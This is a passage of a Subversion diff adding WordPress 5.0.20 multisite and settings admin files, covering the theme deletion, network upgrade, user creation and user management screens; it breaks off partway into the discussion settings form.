+			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
+				wp_enqueue_script( 'jquery' );
+				require_once( ABSPATH . 'wp-admin/admin-header.php' );
+				$themes_to_delete = count( $themes );
+				?>
+			<div class="wrap">
+				<?php if ( 1 == $themes_to_delete ) : ?>
+					<h1><?php _e( 'Delete Theme' ); ?></h1>
+					<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'This theme may be active on other sites in the network.' ); ?></p></div>
+					<p><?php _e( 'You are about to remove the following theme:' ); ?></p>
+				<?php else : ?>
+					<h1><?php _e( 'Delete Themes' ); ?></h1>
+					<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'These themes may be active on other sites in the network.' ); ?></p></div>
+					<p><?php _e( 'You are about to remove the following themes:' ); ?></p>
+				<?php endif; ?>
+					<ul class="ul-disc">
+					<?php
+						foreach ( $theme_info as $theme ) {
+							echo '<li>' . sprintf(
+								/* translators: 1: theme name, 2: theme author */
+								_x( '%1$s by %2$s', 'theme' ),
+								'<strong>' . $theme->display( 'Name' ) . '</strong>',
+								'<em>' . $theme->display( 'Author' ) . '</em>'
+							) . '</li>';
+						}
+					?>
+					</ul>
+				<?php if ( 1 == $themes_to_delete ) : ?>
+					<p><?php _e( 'Are you sure you wish to delete this theme?' ); ?></p>
+				<?php else : ?>
+					<p><?php _e( 'Are you sure you wish to delete these themes?' ); ?></p>
+				<?php endif; ?>
+				<form method="post" action="<?php echo esc_url($_SERVER['REQUEST_URI']); ?>" style="display:inline;">
+					<input type="hidden" name="verify-delete" value="1" />
+					<input type="hidden" name="action" value="delete-selected" />
+					<?php
+						foreach ( (array) $themes as $theme ) {
+							echo '<input type="hidden" name="checked[]" value="' . esc_attr($theme) . '" />';
+						}
+
+						wp_nonce_field( 'bulk-themes' );
+
+						if ( 1 == $themes_to_delete ) {
+							submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
+						} else {
+							submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
+						}
+					?>
+				</form>
+				<?php
+				$referer = wp_get_referer();
+				?>
+				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
+					<?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?>
+				</form>
+			</div>
+				<?php
+				require_once(ABSPATH . 'wp-admin/admin-footer.php');
+				exit;
+			} // Endif verify-delete
+
+			foreach ( $themes as $theme ) {
+				$delete_result = delete_theme( $theme, esc_url( add_query_arg( array(
+					'verify-delete' => 1,
+					'action' => 'delete-selected',
+					'checked' => $_REQUEST['checked'],
+					'_wpnonce' => $_REQUEST['_wpnonce']
+				), network_admin_url( 'themes.php' ) ) ) );
+			}
+
+			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
+			wp_redirect( add_query_arg( array(
+				'deleted' => count( $themes ),
+				'paged' => $paged,
+				's' => $s
+			), network_admin_url( 'themes.php' ) ) );
+			exit;
+		default:
+			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
+			if ( empty( $themes ) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
+				exit;
+			}
+			check_admin_referer( 'bulk-themes' );
+
+			/** This action is documented in wp-admin/network/site-themes.php */
+			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes );
+
+			wp_safe_redirect( $referer );
+			exit;
+	}
+
+}
+
+$wp_list_table->prepare_items();
+
+add_thickbox();
+
+add_screen_option( 'per_page' );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.') . '</p>' .
+		'<p>' . __('If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.') . '</p>' .
+		'<p>' . __('Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter themes list' ),
+	'heading_pagination' => __( 'Themes list navigation' ),
+	'heading_list'       => __( 'Themes list' ),
+) );
+
+$title = __('Themes');
+$parent_file = 'themes.php';
+
+wp_enqueue_script( 'updates' );
+wp_enqueue_script( 'theme-preview' );
+
+require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
+
+<?php if ( current_user_can( 'install_themes' ) ) : ?>
+	<a href="theme-install.php" class="page-title-action"><?php echo esc_html_x( 'Add New', 'theme' ); ?></a>
+<?php endif; ?>
+
+<?php
+if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
+	/* translators: %s: search keywords */
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( $s ) );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php
+if ( isset( $_GET['enabled'] ) ) {
+	$enabled = absint( $_GET['enabled'] );
+	if ( 1 == $enabled ) {
+		$message = __( 'Theme enabled.' );
+	} else {
+		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
+	}
+	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $enabled ) ) . '</p></div>';
+} elseif ( isset( $_GET['disabled'] ) ) {
+	$disabled = absint( $_GET['disabled'] );
+	if ( 1 == $disabled ) {
+		$message = __( 'Theme disabled.' );
+	} else {
+		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
+	}
+	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $disabled ) ) . '</p></div>';
+} elseif ( isset( $_GET['deleted'] ) ) {
+	$deleted = absint( $_GET['deleted'] );
+	if ( 1 == $deleted ) {
+		$message = __( 'Theme deleted.' );
+	} else {
+		$message = _n( '%s theme deleted.', '%s themes deleted.', $deleted );
+	}
+	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $deleted ) ) . '</p></div>';
+} elseif ( isset( $_GET['error'] ) && 'none' == $_GET['error'] ) {
+	echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'No theme selected.' ) . '</p></div>';
+} elseif ( isset( $_GET['error'] ) && 'main' == $_GET['error'] ) {
+	echo '<div class="error notice is-dismissible"><p>' . __( 'You cannot delete a theme while it is active on the main site.' ) . '</p></div>';
+}
+
+?>
+
+<form method="get">
+<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
+</form>
+
+<?php
+$wp_list_table->views();
+
+if ( 'broken' == $status )
+	echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>';
+?>
+
+<form id="bulk-action-form" method="post">
+<input type="hidden" name="theme_status" value="<?php echo esc_attr($status) ?>" />
+<input type="hidden" name="paged" value="<?php echo esc_attr($page) ?>" />
+
+<?php $wp_list_table->display(); ?>
+</form>
+
+</div>
+
+<?php
+wp_print_request_filesystem_credentials_modal();
+wp_print_admin_notice_templates();
+wp_print_update_row_templates();
+
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/5.0.20/src/wp-admin/network/update-core.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/update-core.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/update-core.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Updates network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/update-core.php' );
Index: /tags/5.0.20/src/wp-admin/network/update.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/update.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/update.php	(revision 56912)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Update/Install Plugin/Theme network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ) ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/update.php' );
Index: /tags/5.0.20/src/wp-admin/network/upgrade.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/upgrade.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/upgrade.php	(revision 56912)
@@ -0,0 +1,144 @@
+<?php
+/**
+ * Multisite upgrade administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require_once( ABSPATH . WPINC . '/http.php' );
+
+$title = __( 'Upgrade Network' );
+$parent_file = 'upgrade.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.') . '</p>' .
+		'<p>' . __('If a version update to core has not happened, clicking this button won&#8217;t affect anything.') . '</p>' .
+		'<p>' . __('If this process fails for any reason, users logging in to their sites will force the same update.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Updates_Screen">Documentation on Upgrade Network</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( ! current_user_can( 'upgrade_network' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+}
+
+echo '<div class="wrap">';
+echo '<h1>' . __( 'Upgrade Network' ) . '</h1>';
+
+$action = isset($_GET['action']) ? $_GET['action'] : 'show';
+
+switch ( $action ) {
+	case "upgrade":
+		$n = ( isset($_GET['n']) ) ? intval($_GET['n']) : 0;
+
+		if ( $n < 5 ) {
+			/**
+			 * @global string $wp_db_version
+			 */
+			global $wp_db_version;
+			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
+		}
+
+		$site_ids = get_sites( array(
+			'spam'       => 0,
+			'deleted'    => 0,
+			'archived'   => 0,
+			'network_id' => get_current_network_id(),
+			'number'     => 5,
+			'offset'     => $n,
+			'fields'     => 'ids',
+			'order'      => 'DESC',
+			'orderby'    => 'id',
+		) );
+		if ( empty( $site_ids ) ) {
+			echo '<p>' . __( 'All done!' ) . '</p>';
+			break;
+		}
+		echo "<ul>";
+		foreach ( (array) $site_ids as $site_id ) {
+			switch_to_blog( $site_id );
+			$siteurl = site_url();
+			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
+			restore_current_blog();
+
+			echo "<li>$siteurl</li>";
+
+			$response = wp_remote_get( $upgrade_url, array(
+				'timeout'     => 120,
+				'httpversion' => '1.1',
+				'sslverify'   => false,
+			) );
+			if ( is_wp_error( $response ) ) {
+				wp_die( sprintf(
+					/* translators: 1: site url, 2: server error message */
+					__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
+					$siteurl,
+					'<em>' . $response->get_error_message() . '</em>'
+				) );
+			}
+
+			/**
+			 * Fires after the Multisite DB upgrade for each site is complete.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param array|WP_Error $response The upgrade response array or WP_Error on failure.
+			 */
+			do_action( 'after_mu_upgrade', $response );
+			/**
+			 * Fires after each site has been upgraded.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param int $site_id The Site ID.
+			 */
+			do_action( 'wpmu_upgrade_site', $site_id );
+		}
+		echo "</ul>";
+		?><p><?php _e( 'If your browser doesn&#8217;t start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ($n + 5) ?>"><?php _e("Next Sites"); ?></a></p>
+		<script type="text/javascript">
+		<!--
+		function nextpage() {
+			location.href = "upgrade.php?action=upgrade&n=<?php echo ($n + 5) ?>";
+		}
+		setTimeout( "nextpage()", 250 );
+		//-->
+		</script><?php
+	break;
+	case 'show':
+	default:
+		if ( get_site_option( 'wpmu_upgrade_site' ) != $GLOBALS['wp_db_version'] ) :
+		?>
+		<h2><?php _e( 'Database Update Required' ); ?></h2>
+		<p><?php _e( 'WordPress has been updated! Before we send you on your way, we need to individually upgrade the sites in your network.' ); ?></p>
+		<?php endif; ?>
+
+		<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
+		<p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
+		<?php
+		/**
+		 * Fires before the footer on the network upgrade screen.
+		 *
+		 * @since MU (3.0.0)
+		 */
+		do_action( 'wpmu_upgrade_page' );
+	break;
+}
+?>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/network/user-edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/user-edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/user-edit.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Edit user network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/user-edit.php' );
Index: /tags/5.0.20/src/wp-admin/network/user-new.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/user-new.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/user-new.php	(revision 56912)
@@ -0,0 +1,134 @@
+<?php
+/**
+ * Add New User network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('create_users') )
+	wp_die(__('Sorry, you are not allowed to add users to this network.'));
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('Add User will set up a new user account on the network and send that person an email with username and password.') . '</p>' .
+		'<p>' . __('Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>') . '</p>'
+);
+
+if ( isset($_REQUEST['action']) && 'add-user' == $_REQUEST['action'] ) {
+	check_admin_referer( 'add-user', '_wpnonce_add-user' );
+
+	if ( ! current_user_can( 'manage_network_users' ) )
+		wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+	if ( ! is_array( $_POST['user'] ) )
+		wp_die( __( 'Cannot create an empty user.' ) );
+
+	$user = wp_unslash( $_POST['user'] );
+
+	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );
+	if ( is_wp_error( $user_details[ 'errors' ] ) && ! empty( $user_details[ 'errors' ]->errors ) ) {
+		$add_user_errors = $user_details[ 'errors' ];
+	} else {
+		$password = wp_generate_password( 12, false);
+		$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );
+
+		if ( ! $user_id ) {
+	 		$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
+		} else {
+			/**
+			  * Fires after a new user has been created via the network user-new.php page.
+			  *
+			  * @since 4.4.0
+			  *
+			  * @param int $user_id ID of the newly created user.
+			  */
+			do_action( 'network_user_new_created_user', $user_id );
+			wp_redirect( add_query_arg( array('update' => 'added', 'user_id' => $user_id ), 'user-new.php' ) );
+			exit;
+		}
+	}
+}
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( 'added' == $_GET['update'] ) {
+		$edit_link = '';
+		if ( isset( $_GET['user_id'] ) ) {
+			$user_id_new = absint( $_GET['user_id'] );
+			if ( $user_id_new ) {
+				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
+			}
+		}
+
+		if ( empty( $edit_link ) ) {
+			$messages[] = __( 'User added.' );
+		} else {
+			/* translators: %s: edit page url */
+			$messages[] = sprintf( __( 'User added. <a href="%s">Edit user</a>' ), $edit_link );
+		}
+	}
+}
+
+$title = __('Add New User');
+$parent_file = 'users.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+<h1 id="add-new-user"><?php _e( 'Add New User' ); ?></h1>
+<?php
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
+}
+
+if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) { ?>
+	<div class="error">
+		<?php
+			foreach ( $add_user_errors->get_error_messages() as $message )
+				echo "<p>$message</p>";
+		?>
+	</div>
+<?php } ?>
+	<form action="<?php echo network_admin_url('user-new.php?action=add-user'); ?>" id="adduser" method="post" novalidate="novalidate">
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row"><label for="username"><?php _e( 'Username' ) ?></label></th>
+			<td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" /></td>
+		</tr>
+		<tr class="form-field form-required">
+			<th scope="row"><label for="email"><?php _e( 'Email' ) ?></label></th>
+			<td><input type="email" class="regular-text" name="user[email]" id="email"/></td>
+		</tr>
+		<tr class="form-field">
+			<td colspan="2"><?php _e( 'A password reset link will be sent to the user via email.' ) ?></td>
+		</tr>
+	</table>
+	<?php
+	/**
+	 * Fires at the end of the new user form in network admin.
+	 *
+	 * @since 4.5.0
+	 */
+	do_action( 'network_user_new_form' );
+
+	wp_nonce_field( 'add-user', '_wpnonce_add-user' );
+	submit_button( __('Add User'), 'primary', 'add-user' );
+	?>
+	</form>
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/network/users.php
===================================================================
--- /tags/5.0.20/src/wp-admin/network/users.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/network/users.php	(revision 56912)
@@ -0,0 +1,244 @@
+<?php
+/**
+ * Multisite users administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_network_users' ) )
+	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+if ( isset( $_GET['action'] ) ) {
+	/** This action is documented in wp-admin/network/edit.php */
+	do_action( 'wpmuadminedit' );
+
+	switch ( $_GET['action'] ) {
+		case 'deleteuser':
+			if ( ! current_user_can( 'manage_network_users' ) )
+				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+			check_admin_referer( 'deleteuser' );
+
+			$id = intval( $_GET['id'] );
+			if ( $id != '0' && $id != '1' ) {
+				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle with arrays
+				$title = __( 'Users' );
+				$parent_file = 'users.php';
+				require_once( ABSPATH . 'wp-admin/admin-header.php' );
+				echo '<div class="wrap">';
+				confirm_delete_users( $_POST['allusers'] );
+				echo '</div>';
+				require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+			} else {
+				wp_redirect( network_admin_url( 'users.php' ) );
+			}
+			exit();
+
+		case 'allusers':
+			if ( !current_user_can( 'manage_network_users' ) )
+				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+			if ( ( isset( $_POST['action']) || isset($_POST['action2'] ) ) && isset( $_POST['allusers'] ) ) {
+				check_admin_referer( 'bulk-users-network' );
+
+				$doaction = $_POST['action'] != -1 ? $_POST['action'] : $_POST['action2'];
+				$userfunction = '';
+
+				foreach ( (array) $_POST['allusers'] as $user_id ) {
+					if ( !empty( $user_id ) ) {
+						switch ( $doaction ) {
+							case 'delete':
+								if ( ! current_user_can( 'delete_users' ) )
+									wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+								$title = __( 'Users' );
+								$parent_file = 'users.php';
+								require_once( ABSPATH . 'wp-admin/admin-header.php' );
+								echo '<div class="wrap">';
+								confirm_delete_users( $_POST['allusers'] );
+								echo '</div>';
+								require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+								exit();
+
+							case 'spam':
+								$user = get_userdata( $user_id );
+								if ( is_super_admin( $user->ID ) )
+									wp_die( sprintf( __( 'Warning! User cannot be modified. The user %s is a network administrator.' ), esc_html( $user->user_login ) ) );
+
+								$userfunction = 'all_spam';
+								$blogs = get_blogs_of_user( $user_id, true );
+								foreach ( (array) $blogs as $details ) {
+									if ( $details->userblog_id != get_network()->site_id ) // main blog not a spam !
+										update_blog_status( $details->userblog_id, 'spam', '1' );
+								}
+								update_user_status( $user_id, 'spam', '1' );
+							break;
+
+							case 'notspam':
+								$userfunction = 'all_notspam';
+								$blogs = get_blogs_of_user( $user_id, true );
+								foreach ( (array) $blogs as $details )
+									update_blog_status( $details->userblog_id, 'spam', '0' );
+
+								update_user_status( $user_id, 'spam', '0' );
+							break;
+						}
+					}
+				}
+
+				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
+					$sendback = wp_get_referer();
+
+					$user_ids = (array) $_POST['allusers'];
+					/** This action is documented in wp-admin/network/site-themes.php */
+					$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids );
+
+					wp_safe_redirect( $sendback );
+					exit();
+				}
+
+				wp_safe_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $userfunction ), wp_get_referer() ) );
+			} else {
+				$location = network_admin_url( 'users.php' );
+
+				if ( ! empty( $_REQUEST['paged'] ) )
+					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
+				wp_redirect( $location );
+			}
+			exit();
+
+		case 'dodelete':
+			check_admin_referer( 'ms-users-delete' );
+			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) )
+				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
+
+			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
+				foreach ( $_POST['blog'] as $id => $users ) {
+					foreach ( $users as $blogid => $user_id ) {
+						if ( ! current_user_can( 'delete_user', $id ) )
+							continue;
+
+						if ( ! empty( $_POST['delete'] ) && 'reassign' == $_POST['delete'][$blogid][$id] )
+							remove_user_from_blog( $id, $blogid, $user_id );
+						else
+							remove_user_from_blog( $id, $blogid );
+					}
+				}
+			}
+			$i = 0;
+			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) )
+				foreach ( $_POST['user'] as $id ) {
+					if ( ! current_user_can( 'delete_user', $id ) )
+						continue;
+					wpmu_delete_user( $id );
+					$i++;
+				}
+
+			if ( $i == 1 )
+				$deletefunction = 'delete';
+			else
+				$deletefunction = 'all_delete';
+
+			wp_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $deletefunction ), network_admin_url( 'users.php' ) ) );
+			exit();
+	}
+}
+
+$wp_list_table = _get_list_table('WP_MS_Users_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+$wp_list_table->prepare_items();
+$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+
+if ( $pagenum > $total_pages && $total_pages > 0 ) {
+	wp_redirect( add_query_arg( 'paged', $total_pages ) );
+	exit;
+}
+$title = __( 'Users' );
+$parent_file = 'users.php';
+
+add_screen_option( 'per_page' );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('This table shows all users across the network and the sites to which they are assigned.') . '</p>' .
+		'<p>' . __('Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.') . '</p>' .
+		'<p>' . __('You can also go to the user&#8217;s profile page by clicking on the individual username.') . '</p>' .
+		'<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' .
+		'<p>' . __('The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.') . '</p>' .
+		'<p>' . __('You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>') . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter users list' ),
+	'heading_pagination' => __( 'Users list navigation' ),
+	'heading_list'       => __( 'Users list' ),
+) );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( isset( $_REQUEST['updated'] ) && $_REQUEST['updated'] == 'true' && ! empty( $_REQUEST['action'] ) ) {
+	?>
+	<div id="message" class="updated notice is-dismissible"><p>
+		<?php
+		switch ( $_REQUEST['action'] ) {
+			case 'delete':
+				_e( 'User deleted.' );
+			break;
+			case 'all_spam':
+				_e( 'Users marked as spam.' );
+			break;
+			case 'all_notspam':
+				_e( 'Users removed from spam.' );
+			break;
+			case 'all_delete':
+				_e( 'Users deleted.' );
+			break;
+			case 'add':
+				_e( 'User added.' );
+			break;
+		}
+		?>
+	</p></div>
+	<?php
+}
+	?>
+<div class="wrap">
+	<h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1>
+
+	<?php
+	if ( current_user_can( 'create_users') ) : ?>
+		<a href="<?php echo network_admin_url('user-new.php'); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'user' ); ?></a><?php
+	endif;
+
+	if ( strlen( $usersearch ) ) {
+		/* translators: %s: search keywords */
+		printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( $usersearch ) );
+	}
+	?>
+
+	<hr class="wp-header-end">
+
+	<?php $wp_list_table->views(); ?>
+
+	<form method="get" class="search-form">
+		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
+	</form>
+
+	<form id="form-user-list" action="users.php?action=allusers" method="post">
+		<?php $wp_list_table->display(); ?>
+	</form>
+</div>
+
+<?php require_once( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/options-discussion.php
===================================================================
--- /tags/5.0.20/src/wp-admin/options-discussion.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/options-discussion.php	(revision 56912)
@@ -0,0 +1,292 @@
+<?php
+/**
+ * Discussion settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
+
+$title = __('Discussion Settings');
+$parent_file = 'options-general.php';
+
+add_action( 'admin_print_footer_scripts', 'options_discussion_add_js' );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen provides many options for controlling the management and display of comments and links to your posts/pages. So many, in fact, they won&#8217;t all fit here! :) Use the documentation links to get information on what each discussion setting does.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Settings_Discussion_Screen">Documentation on Discussion Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<form method="post" action="options.php">
+<?php settings_fields('discussion'); ?>
+
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e('Default article settings'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Default article settings'); ?></span></legend>
+<label for="default_pingback_flag">
+<input name="default_pingback_flag" type="checkbox" id="default_pingback_flag" value="1" <?php checked('1', get_option('default_pingback_flag')); ?> />
+<?php _e('Attempt to notify any blogs linked to from the article'); ?></label>
+<br />
+<label for="default_ping_status">
